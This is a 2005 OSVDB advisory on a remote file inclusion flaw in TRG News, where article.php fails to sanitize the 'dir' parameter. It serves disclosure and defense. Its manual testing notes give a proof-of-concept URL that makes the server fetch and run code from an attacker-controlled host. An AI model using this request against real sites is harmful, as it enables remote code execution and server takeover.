TRG News article.php Remote File Inclusion

2005-03-19T09:53:44
ID OSVDB:14920
Type osvdb
Reporter Frank Reissner(mail@frank-reissner.de)
Modified 2005-03-19T09:53:44

Description

Vulnerability Description

TRG News contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to 'article.php' not properly sanitizing user input supplied to the 'dir' variable. This may allow a remote attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Solution Description

Currently, there are no known upgrades, patches, or workarounds available to correct this issue.

Short Description

TRG News contains a flaw that may allow a remote attacker to execute arbitrary commands. The issue is due to 'article.php' not properly sanitizing user input supplied to the 'dir' variable. This may allow a remote attacker to include a file from a remote host that contains arbitrary commands which will be executed by the vulnerable script.

Manual Testing Notes

http://[victim]/research/news/trg_news30/trgnews/install/article.php?dir=http://[attacker]/

References:

Vendor URL: http://www.rustedgate.com/ Security Tracker: 1013487 Secunia Advisory ID:14669 Related OSVDB ID: 14921 Related OSVDB ID: 14922 Related OSVDB ID: 14923 Related OSVDB ID: 14924 Generic Informational URL: http://www.hotscripts.com/Detailed/17852.html CVE-2005-0860 Bugtraq ID: 12855